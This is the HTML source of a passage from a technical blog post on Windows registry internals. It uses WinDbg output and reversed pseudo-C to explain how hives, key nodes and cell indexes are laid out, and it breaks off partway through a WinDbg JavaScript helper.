        &lt;svg class=&quot;octicon octicon-light-bulb mr-2&quot; viewBox=&quot;0 0 16 16&quot; version=&quot;1.1&quot; width=&quot;16&quot; height=&quot;16&quot; aria-hidden=&quot;true&quot;&gt;&lt;path d=&quot;M8 1.5c-2.363 0-4 1.69-4 3.75 0 .984.424 1.625.984 2.304l.214.253c.223.264.47.556.673.848.284.411.537.896.621 1.49a.75.75 0 0 1-1.484.211c-.04-.282-.163-.547-.37-.847a8.456 8.456 0 0 0-.542-.68c-.084-.1-.173-.205-.268-.32C3.201 7.75 2.5 6.766 2.5 5.25 2.5 2.31 4.863 0 8 0s5.5 2.31 5.5 5.25c0 1.516-.701 2.5-1.328 3.259-.095.115-.184.22-.268.319-.207.245-.383.453-.541.681-.208.3-.33.565-.37.847a.751.751 0 0 1-1.485-.212c.084-.593.337-1.078.621-1.489.203-.292.45-.584.673-.848.075-.088.147-.173.213-.253.561-.679.985-1.32.985-2.304 0-2.06-1.637-3.75-4-3.75ZM5.75 12h4.5a.75.75 0 0 1 0 1.5h-4.5a.75.75 0 0 1 0-1.5ZM6 15.25a.75.75 0 0 1 .75-.75h2.5a.75.75 0 0 1 0 1.5h-2.5a.75.75 0 0 1-.75-.75Z&quot;&gt;&lt;&#x2F;path&gt;&lt;&#x2F;svg&gt;
        Tip
    
        &lt;&#x2F;b&gt;
        &lt;p&gt;&lt;p&gt;For convenience, the following equivalence will be used throughout this post:&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;Top-Level Keys = Root Keys&lt;&#x2F;li&gt;
&lt;li&gt;Sub Keys = Keys (as long as they aren’t Root Keys)&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;

        &lt;&#x2F;p&gt;
&lt;&#x2F;div&gt;
&lt;p&gt;The best structure definition of a Hive I could find comes from “Windows Kernel Internals NT Registry Implementation”&lt;sup class=&quot;footnote-reference&quot; id=&quot;fr-1-1&quot;&gt;&lt;a href=&quot;#fn-1&quot;&gt;[2]&lt;&#x2F;a&gt;&lt;&#x2F;sup&gt; (you’ll find many references to the PDF in this post).&lt;&#x2F;p&gt;
&lt;a href=&quot;&amp;#x2F;img&amp;#x2F;950bbc05-e57e-4d49-96a4-9aefec9a8ef6.png&quot; target=&quot;_blank&quot;&gt;
&lt;img
    src=&quot;&amp;#x2F;img&amp;#x2F;950bbc05-e57e-4d49-96a4-9aefec9a8ef6.png&quot;

    

    
    title=&quot;Hive Layout&quot;
    alt=&quot;Hive Layout&quot;
    

    
    width=&quot;100%&quot;
    

    
&#x2F;&gt;
&lt;&#x2F;a&gt;
&lt;p&gt;Some hives are loaded very early in the boot process, as the &lt;abbr title=&quot;Boot Configuration Database&quot;&gt;BCD&lt;&#x2F;abbr&gt; needs to retrieve its configuration settings from it in the &lt;abbr title=&quot;Boot Configuration Database&quot;&gt;CM&lt;&#x2F;abbr&gt; hive; and also during kernel loading, hardware info are exposed from the &lt;code&gt;HARDWARE&lt;&#x2F;code&gt; hive. Once parsed and loaded from file to memory, all the system hives are linked via a &lt;code&gt;LIST_ENTRY&lt;&#x2F;code&gt; whose head is pointed by the exposed symbol &lt;code&gt;nt!CmpHiveListHead&lt;&#x2F;code&gt;, and can be iterated over as a list of &lt;code&gt;nt!_CMHIVE&lt;&#x2F;code&gt; object using the &lt;code&gt;nt!_CMHIVE.HiveList&lt;&#x2F;code&gt; field. Therefore a quick parsing can be done with our best friends WinDbg + DDM, which allows us to do some LINQ magic:&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;txt&quot; style=&quot;background-color:#2b303b;color:#c0c5ce;&quot; class=&quot;language-txt &quot;&gt;&lt;code class=&quot;language-txt&quot; data-lang=&quot;txt&quot;&gt;&lt;span&gt;0: kd&amp;gt; dx -s @$hives = Debugger.Utility.Collections.FromListEntry(*(nt!_LIST_ENTRY*)&amp;amp;nt!CmpHiveListHead,&amp;quot;nt!_CMHIVE&amp;quot;,&amp;quot;HiveList&amp;quot;)
&lt;&#x2F;span&gt;&lt;span&gt;
&lt;&#x2F;span&gt;&lt;span&gt;0: kd&amp;gt; dx @$hives.Count()
&lt;&#x2F;span&gt;&lt;span&gt;@$hives.Count()  : 0x1f
&lt;&#x2F;span&gt;&lt;span&gt;
&lt;&#x2F;span&gt;&lt;span&gt;0: kd&amp;gt; dx -g @$hives.Select( x =&amp;gt; new { CmHiveAddress= &amp;amp;x, HiveName=x.HiveRootPath} )
&lt;&#x2F;span&gt;&lt;span&gt;====================================================================================================
&lt;&#x2F;span&gt;&lt;span&gt;=           = (+) CmHiveAddress     = (+) HiveName                                                 =
&lt;&#x2F;span&gt;&lt;span&gt;====================================================================================================
&lt;&#x2F;span&gt;&lt;span&gt;= [0x0]     - 0xffffa70284240000    - &amp;quot;&amp;quot;                                                           =
&lt;&#x2F;span&gt;&lt;span&gt;= [0x1]     - 0xffffa702842d2000    - &amp;quot;\REGISTRY\MACHINE\SYSTEM&amp;quot;                                   =
&lt;&#x2F;span&gt;&lt;span&gt;= [0x2]     - 0xffffa70284340000    - &amp;quot;\REGISTRY\MACHINE\HARDWARE&amp;quot;                                 =
&lt;&#x2F;span&gt;&lt;span&gt;= [0x3]     - 0xffffa70284d14000    - &amp;quot;\REGISTRY\MACHINE\BCD00000000&amp;quot;                              =
&lt;&#x2F;span&gt;&lt;span&gt;= [0x4]     - 0xffffa70284cec000    - &amp;quot;\REGISTRY\MACHINE\SOFTWARE&amp;quot;                                 =
&lt;&#x2F;span&gt;&lt;span&gt;= [0x5]     - 0xffffa702848e3000    - &amp;quot;\REGISTRY\USER\.DEFAULT&amp;quot;                                    =
&lt;&#x2F;span&gt;&lt;span&gt;= [0x6]     - 0xffffa70287c43000    - &amp;quot;\REGISTRY\MACHINE\SECURITY&amp;quot;                                 =
&lt;&#x2F;span&gt;&lt;span&gt;= [0x7]     - 0xffffa70287d46000    - &amp;quot;\REGISTRY\MACHINE\SAM&amp;quot;                                      =
&lt;&#x2F;span&gt;&lt;span&gt;= [0x8]     - 0xffffa7028806a000    - &amp;quot;\REGISTRY\USER\S-1-5-20&amp;quot;                                    =
&lt;&#x2F;span&gt;&lt;span&gt;[...]
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;which looks &lt;a rel=&quot;noopener nofollow noreferrer&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;docs.microsoft.com&#x2F;en-us&#x2F;windows&#x2F;win32&#x2F;sysinfo&#x2F;predefined-keys&quot;&gt;familiar&lt;&#x2F;a&gt;. This command exposes all the &lt;code&gt;_CMHIVE&lt;&#x2F;code&gt; objects loaded by the kernel, but hives themselves can be manipulated via their handle of type &lt;code&gt;_HHIVE&lt;&#x2F;code&gt; (accessible from &lt;code&gt;nt!_CMHIVE.Hive&lt;&#x2F;code&gt;) which allows, thanks to callback members (i.e. function pointers in the structure), to declare how to get access to data, allocate&#x2F;free new nodes, etc.&lt;&#x2F;p&gt;
&lt;h2 id=&quot;accessing-the-registry&quot;&gt;Accessing the registry&lt;&#x2F;h2&gt;
&lt;p&gt;An essential pre-requisite to understand how values are accessed in the kernel, is to understand 2 critical structures: &lt;code&gt;Cells&lt;&#x2F;code&gt; and &lt;code&gt;Key Nodes&lt;&#x2F;code&gt; (for now).&lt;&#x2F;p&gt;
&lt;p&gt;According to “Windows Kernel Internals NT Registry Implementation”&lt;sup class=&quot;footnote-reference&quot; id=&quot;fr-1-2&quot;&gt;&lt;a href=&quot;#fn-1&quot;&gt;[2]&lt;&#x2F;a&gt;&lt;&#x2F;sup&gt;, a &lt;code&gt;Cell&lt;&#x2F;code&gt; (p.12) is:&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;The unit of storage allocation within the hive […]&lt;&#x2F;li&gt;
&lt;li&gt;Used to store raw data, and build up logical data
&lt;ul&gt;
&lt;li&gt;Keys, values, security descriptors, indexes etc all are made up of cells&lt;&#x2F;li&gt;
&lt;li&gt;Fetching in a key, might involve several faults spread across the hive file&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;A &lt;code&gt;Key Node&lt;&#x2F;code&gt; (of internal type &lt;code&gt;nt!_CM_KEY_NODE&lt;&#x2F;code&gt;) is the structure inside the tree that will allow to access Cells (don’t worry Cells will be amply covered below - for now just think of it as the raw data). For a given key node, its Values (~files) are pointed by the field &lt;code&gt;nt!_CM_KEY_NODE.ValueList&lt;&#x2F;code&gt;, of type &lt;code&gt;nt!_CHILD_LIST&lt;&#x2F;code&gt;; and its subkeys (~sub-folders) via &lt;code&gt;nt!_CM_KEY_NODE.SubkeyLists&lt;&#x2F;code&gt;. This is always true, except for symbolic links (type = &lt;code&gt;REG_LINK&lt;&#x2F;code&gt;), which will dereference the node they point to via the field &lt;code&gt;nt!_CM_KEY_NODE.ChildHiveReference&lt;&#x2F;code&gt;.&lt;&#x2F;p&gt;
&lt;p&gt;So when by browsing a key node, what to pay attention to are:&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;the SubKey list (i.e. ~&lt;em&gt;subfolders&lt;&#x2F;em&gt;)&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;pre data-lang=&quot;txt&quot; style=&quot;background-color:#2b303b;color:#c0c5ce;&quot; class=&quot;language-txt &quot;&gt;&lt;code class=&quot;language-txt&quot; data-lang=&quot;txt&quot;&gt;&lt;span&gt;0: kd&amp;gt; dt _CM_KEY_NODE
&lt;&#x2F;span&gt;&lt;span&gt;nt!_CM_KEY_NODE
&lt;&#x2F;span&gt;&lt;span&gt;   [...]
&lt;&#x2F;span&gt;&lt;span&gt;   +0x014 SubKeyCounts     : [2] Uint4B
&lt;&#x2F;span&gt;&lt;span&gt;   +0x01c SubKeyLists      : [2] Uint4B
&lt;&#x2F;span&gt;&lt;span&gt;   [...]
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;ul&gt;
&lt;li&gt;the Value list (i.e. ~&lt;em&gt;files&lt;&#x2F;em&gt;)&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;pre data-lang=&quot;txt&quot; style=&quot;background-color:#2b303b;color:#c0c5ce;&quot; class=&quot;language-txt &quot;&gt;&lt;code class=&quot;language-txt&quot; data-lang=&quot;txt&quot;&gt;&lt;span&gt;0: kd&amp;gt; dt _CM_KEY_NODE
&lt;&#x2F;span&gt;&lt;span&gt;nt!_CM_KEY_NODE
&lt;&#x2F;span&gt;&lt;span&gt;  [...]
&lt;&#x2F;span&gt;&lt;span&gt;   +0x024 ValueList        : _CHILD_LIST
&lt;&#x2F;span&gt;&lt;span&gt;  [...]
&lt;&#x2F;span&gt;&lt;span&gt;
&lt;&#x2F;span&gt;&lt;span&gt;0: kd&amp;gt; dt _CHILD_LIST
&lt;&#x2F;span&gt;&lt;span&gt;nt!_CHILD_LIST
&lt;&#x2F;span&gt;&lt;span&gt;   +0x000 Count            : Uint4B
&lt;&#x2F;span&gt;&lt;span&gt;   +0x004 List             : Uint4B
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;And looking up a specific Value can be summarized as such:&lt;&#x2F;p&gt;
&lt;p&gt;&lt;a href=&quot;&amp;#x2F;&amp;#x2F;i.imgur.com&amp;#x2F;VpAuNWf.png&quot; target=&quot;_blank&quot;&gt;
&lt;img
    src=&quot;&amp;#x2F;&amp;#x2F;i.imgur.com&amp;#x2F;VpAuNWf.png&quot;

    

    
    title=&quot;Lookup of value `Foo`&quot;
    alt=&quot;Lookup of value `Foo`&quot;
    

    
    width=&quot;100%&quot;
    

    
&#x2F;&gt;
&lt;&#x2F;a&gt;
Source&lt;sup class=&quot;footnote-reference&quot; id=&quot;fr-1-3&quot;&gt;&lt;a href=&quot;#fn-1&quot;&gt;[2]&lt;&#x2F;a&gt;&lt;&#x2F;sup&gt;&lt;&#x2F;p&gt;
&lt;p&gt;As we see from the symbols, Value and SubKey lists are not designated by direct pointers in memory, but instead by indexes. Those indexes point to Cells, which contains either the data itself or the next key node to parse to reach the data. We’ve kept mentioning &lt;code&gt;Cells&lt;&#x2F;code&gt; without covering it, it now becomes important to do so, know how Cells are, how they work and how they can be accessed.&lt;&#x2F;p&gt;
&lt;h3 id=&quot;cells&quot;&gt;Cells&lt;&#x2F;h3&gt;
&lt;p&gt;The &lt;code&gt;Cell&lt;&#x2F;code&gt; is the basic storage unit for a Hive: what this means is that &lt;strong&gt;all data&lt;&#x2F;strong&gt; of the hive can be found by knowing 2 pieces of information, a handle to the hive (&lt;code&gt;_HHIVE&lt;&#x2F;code&gt;) and the &lt;strong&gt;Cell Index&lt;&#x2F;strong&gt; - a Cell is never pointed to directly. In the PDF by Dr B. Probert, a good technical overview of cells can be found, and the key points are:&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;Referenced as a ‘cell index’ (HCELL_INDEX)&lt;&#x2F;li&gt;
&lt;li&gt;Cell index is offset within the file (minus 0x1000 – the header) – ULONG&lt;&#x2F;li&gt;
&lt;li&gt;Size rounded at 8 bytes boundary&lt;&#x2F;li&gt;
&lt;li&gt;If Index &amp;amp; 1&amp;lt;&amp;lt;31 , then the cell is Volatile ; Else Permanent&lt;&#x2F;li&gt;
&lt;li&gt;If Cell.Size &amp;gt;= 0 , Cell.Status = Free ; Else Cell.Status = Allocated &amp;amp;&amp;amp; Cell.RealSize = -Cell.Size&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;As for the exact type, &lt;a rel=&quot;noopener nofollow noreferrer&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;doxygen.reactos.org&#x2F;dc&#x2F;dea&#x2F;hivedata_8h.html#a3e41dc3c52fdf05ef049ec92af899d03&quot;&gt;ReactOS&lt;&#x2F;a&gt; helps us with the exact definition:&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;c++&quot; style=&quot;background-color:#2b303b;color:#c0c5ce;&quot; class=&quot;language-c++ &quot;&gt;&lt;code class=&quot;language-c++&quot; data-lang=&quot;c++&quot;&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;typedef &lt;&#x2F;span&gt;&lt;span&gt;ULONG HCELL_INDEX, *PHCELL_INDEX;
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;So the cell index is a ULONG, which can be decomposed as a bitmask that allows to determine more information such as the cell Type (Permanent vs Volatile) and the Block; information which can be extracted from the Index as such:&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;c++&quot; style=&quot;background-color:#2b303b;color:#c0c5ce;&quot; class=&quot;language-c++ &quot;&gt;&lt;code class=&quot;language-c++&quot; data-lang=&quot;c++&quot;&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;#define &lt;&#x2F;span&gt;&lt;span style=&quot;color:#8fa1b3;&quot;&gt;HvGetCellType&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;Cell&lt;&#x2F;span&gt;&lt;span&gt;)  ((ULONG)(((Cell) &amp;amp; HCELL_TYPE_MASK) &amp;gt;&amp;gt; HCELL_TYPE_SHIFT))
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;#define &lt;&#x2F;span&gt;&lt;span style=&quot;color:#8fa1b3;&quot;&gt;HvGetCellBlock&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;Cell&lt;&#x2F;span&gt;&lt;span&gt;) ((ULONG)(((Cell) &amp;amp; HCELL_BLOCK_MASK) &amp;gt;&amp;gt; HCELL_BLOCK_SHIFT))
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;&lt;a rel=&quot;noopener nofollow noreferrer&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;doxygen.reactos.org&#x2F;dc&#x2F;dea&#x2F;hivedata_8h.html#a34144dc0721aacfbaacdaefdc4945e97&quot;&gt;ReactOS&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;p&gt;Now how do we go from the key node to a cell, assuming we have a hive handle and an index? Remember above when we mentioned that the procedure to get to the cell is a function pointer inside the hive handle: &lt;code&gt;nt!_HHIVE.GetCellRoutine&lt;&#x2F;code&gt;? Well, that’s how. Also interestingly, all the hive handles are pointing to the same function &lt;code&gt;nt!HvpGetCellPaged&lt;&#x2F;code&gt;, although it doesn’t have to be the case:&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;txt&quot; style=&quot;background-color:#2b303b;color:#c0c5ce;&quot; class=&quot;language-txt &quot;&gt;&lt;code class=&quot;language-txt&quot; data-lang=&quot;txt&quot;&gt;&lt;span&gt;0: kd&amp;gt; dt _HHIVE
&lt;&#x2F;span&gt;&lt;span&gt;nt!_HHIVE
&lt;&#x2F;span&gt;&lt;span&gt;   +0x000 Signature        : Uint4B    &#x2F;&#x2F; 0xbee0bee0
&lt;&#x2F;span&gt;&lt;span&gt;   +0x008 GetCellRoutine   : Ptr64     _CELL_DATA*
&lt;&#x2F;span&gt;&lt;span&gt;   +0x010 ReleaseCellRoutine : Ptr64     void
&lt;&#x2F;span&gt;&lt;span&gt;   +0x018 Allocate         : Ptr64     void*
&lt;&#x2F;span&gt;&lt;span&gt;   +0x020 Free             : Ptr64     void
&lt;&#x2F;span&gt;&lt;span&gt;   [...]
&lt;&#x2F;span&gt;&lt;span&gt;
&lt;&#x2F;span&gt;&lt;span&gt;0: kd&amp;gt; dx -g @$hives.Select( h =&amp;gt; new { HiveName=h.HiveRootPath, CellRoutine=h.Hive.GetCellRoutine} )
&lt;&#x2F;span&gt;&lt;span&gt;====================================================================================================
&lt;&#x2F;span&gt;&lt;span&gt;=           = (+) HiveName                                                 = (+) CellRoutine       =
&lt;&#x2F;span&gt;&lt;span&gt;====================================================================================================
&lt;&#x2F;span&gt;&lt;span&gt;= [0x0]     - &amp;quot;&amp;quot;                                                           - 0xfffff8054248e880    =
&lt;&#x2F;span&gt;&lt;span&gt;= [0x1]     - &amp;quot;\REGISTRY\MACHINE\SYSTEM&amp;quot;                                   - 0xfffff8054248e880    =
&lt;&#x2F;span&gt;&lt;span&gt;= [0x2]     - &amp;quot;\REGISTRY\MACHINE\HARDWARE&amp;quot;                                 - 0xfffff8054248e880    =
&lt;&#x2F;span&gt;&lt;span&gt;= [0x3]     - &amp;quot;\REGISTRY\MACHINE\SOFTWARE&amp;quot;                                 - 0xfffff8054248e880    =
&lt;&#x2F;span&gt;&lt;span&gt;= [0x4]     - &amp;quot;\REGISTRY\MACHINE\BCD00000000&amp;quot;                              - 0xfffff8054248e880    =
&lt;&#x2F;span&gt;&lt;span&gt;[...]
&lt;&#x2F;span&gt;&lt;span&gt;
&lt;&#x2F;span&gt;&lt;span&gt;0: kd&amp;gt; .printf &amp;quot;%y\n&amp;quot;, 0xfffff8054248e880
&lt;&#x2F;span&gt;&lt;span&gt;nt!HvpGetCellPaged (fffff805`4248e880)
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;By reversing it in IDA, it reveals the exact behavior for fetching cells (below shown in a simplified pseudo-C code):&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;c&quot; style=&quot;background-color:#2b303b;color:#c0c5ce;&quot; class=&quot;language-c &quot;&gt;&lt;code class=&quot;language-c&quot; data-lang=&quot;c&quot;&gt;&lt;span&gt;_CELL_DATA *__fastcall &lt;&#x2F;span&gt;&lt;span style=&quot;color:#8fa1b3;&quot;&gt;HvpGetCellPaged&lt;&#x2F;span&gt;&lt;span&gt;(_HHIVE *&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;hive&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;unsigned int &lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;CellIndex&lt;&#x2F;span&gt;&lt;span&gt;, _HV_GET_CELL_CONTEXT *&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;ctx&lt;&#x2F;span&gt;&lt;span&gt;)
&lt;&#x2F;span&gt;&lt;span&gt;{
&lt;&#x2F;span&gt;&lt;span&gt;  _HMAP_ENTRY *Entry;
&lt;&#x2F;span&gt;&lt;span&gt;  PVOID BinAddress;
&lt;&#x2F;span&gt;&lt;span&gt;  PVOID CellAddress;
&lt;&#x2F;span&gt;&lt;span&gt;  _CELL_DATA *CellResult;
&lt;&#x2F;span&gt;&lt;span&gt;  [...]
&lt;&#x2F;span&gt;&lt;span&gt;  Entry = &amp;amp;hive-&amp;gt;Storage[CellIndex &amp;gt;&amp;gt; &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;31&lt;&#x2F;span&gt;&lt;span&gt;].&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;Map&lt;&#x2F;span&gt;&lt;span&gt;-&amp;gt;Directory[(CellIndex &amp;gt;&amp;gt; &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;21&lt;&#x2F;span&gt;&lt;span&gt;) &amp;amp; &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;0x3FF&lt;&#x2F;span&gt;&lt;span&gt;]-&amp;gt;Table[(CellIndex &amp;gt;&amp;gt; &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;12&lt;&#x2F;span&gt;&lt;span&gt;) &amp;amp; &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;0x1FF&lt;&#x2F;span&gt;&lt;span&gt;];
&lt;&#x2F;span&gt;&lt;span&gt;  BinAddress = Entry-&amp;gt;PermanentBinAddress;
&lt;&#x2F;span&gt;&lt;span&gt;  [...]
&lt;&#x2F;span&gt;&lt;span&gt;  CellAddress = Entry-&amp;gt;BlockOffset + (BinAddress &amp;amp; &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;0xFFFFFFFFFFFFFFF0&lt;&#x2F;span&gt;&lt;span style=&quot;background-color:#bf616a;color:#2b303b;&quot;&gt;ui64&lt;&#x2F;span&gt;&lt;span&gt;) + (CellIndex &amp;amp; &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;0xFFF&lt;&#x2F;span&gt;&lt;span&gt;);
&lt;&#x2F;span&gt;&lt;span&gt;  [...]
&lt;&#x2F;span&gt;&lt;span&gt;  CellResult = (_CELL_DATA *)(CellAddress + &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;4&lt;&#x2F;span&gt;&lt;span&gt;); &lt;&#x2F;span&gt;&lt;span style=&quot;color:#65737e;&quot;&gt;&#x2F;&#x2F; *CellAddress contains the size field as ULONG
&lt;&#x2F;span&gt;&lt;span&gt;  [...]
&lt;&#x2F;span&gt;&lt;span&gt;  &lt;&#x2F;span&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;return&lt;&#x2F;span&gt;&lt;span&gt; CellResult;
&lt;&#x2F;span&gt;&lt;span&gt;}
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;With that in mind, we can craft an equivalent function &lt;code&gt;GetCellAddress&lt;&#x2F;code&gt; that we can use in WinDbg, which given a hive handle and an index will return the cell address in memory (in WinDbg JS):&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;javascript&quot; style=&quot;background-color:#2b303b;color:#c0c5ce;&quot; class=&quot;language-javascript &quot;&gt;&lt;code class=&quot;language-javascript&quot; data-lang=&quot;javascript&quot;&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;function &lt;&#x2F;span&gt;&lt;span style=&quot;color:#8fa1b3;&quot;&gt;GetCellAddress&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;KeyHive&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;Index&lt;&#x2F;span&gt;&lt;span&gt;)
&lt;&#x2F;span&gt;&lt;span&gt;{
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;let &lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;Type &lt;&#x2F;span&gt;&lt;span&gt;= &lt;&#x2F;span&gt;&lt;span style=&quot;color:#8fa1b3;&quot;&gt;GetCellType&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#ebcb8b;&quot;&gt;Index&lt;&#x2F;span&gt;&lt;span&gt;);
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;let &lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;Table &lt;&#x2F;span&gt;&lt;span&gt;= &lt;&#x2F;span&gt;&lt;span style=&quot;color:#8fa1b3;&quot;&gt;GetCellTable&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#ebcb8b;&quot;&gt;Index&lt;&#x2F;span&gt;&lt;span&gt;);
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;let &lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;Block &lt;&#x2F;span&gt;&lt;span&gt;= &lt;&#x2F;span&gt;&lt;span style=&quot;color:#8fa1b3;&quot;&gt;GetCellBlock&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#ebcb8b;&quot;&gt;Index&lt;&#x2F;span&gt;&lt;span&gt;);
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;let &lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;Offset &lt;&#x2F;span&gt;&lt;span&gt;= &lt;&#x2F;span&gt;&lt;span style=&quot;color:#8fa1b3;&quot;&gt;GetCellOffset&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#ebcb8b;&quot;&gt;Index&lt;&#x2F;span&gt;&lt;span&gt;);
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;let &lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;MapDirectory &lt;&#x2F;span&gt;&lt;span&gt;= &lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;KeyHive&lt;&#x2F;span&gt;&lt;span&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;Storage&lt;&#x2F;span&gt;&lt;span&gt;[&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;Type&lt;&#x2F;span&gt;&lt;span&gt;].&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;Map&lt;&#x2F;span&gt;&lt;span&gt;;
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;let &lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;MapTableEntry &lt;&#x2F;span&gt;&lt;span&gt;= &lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;MapDirectory&lt;&#x2F;span&gt;&lt;span&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;Directory&lt;&#x2F;span&gt;&lt;span&gt;[&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;Table&lt;&#x2F;span&gt;&lt;span&gt;];
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;let &lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;Entry &lt;&#x2F;span&gt;&lt;span&gt;= &lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;host&lt;&#x2F;span&gt;&lt;span&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color:#8fa1b3;&quot;&gt;createPointerObject&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;MapTableEntry&lt;&#x2F;span&gt;&lt;span&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;address&lt;&#x2F;span&gt;&lt;span&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color:#96b5b4;&quot;&gt;add&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;Block &lt;&#x2F;span&gt;&lt;span&gt;* &lt;&#x2F;span&gt;&lt;span style=&quot;color:#8fa1b3;&quot;&gt;sizeof&lt;&#x2F;span&gt;&lt;span&gt;(&amp;quot;&lt;&#x2F;span&gt;&lt;span 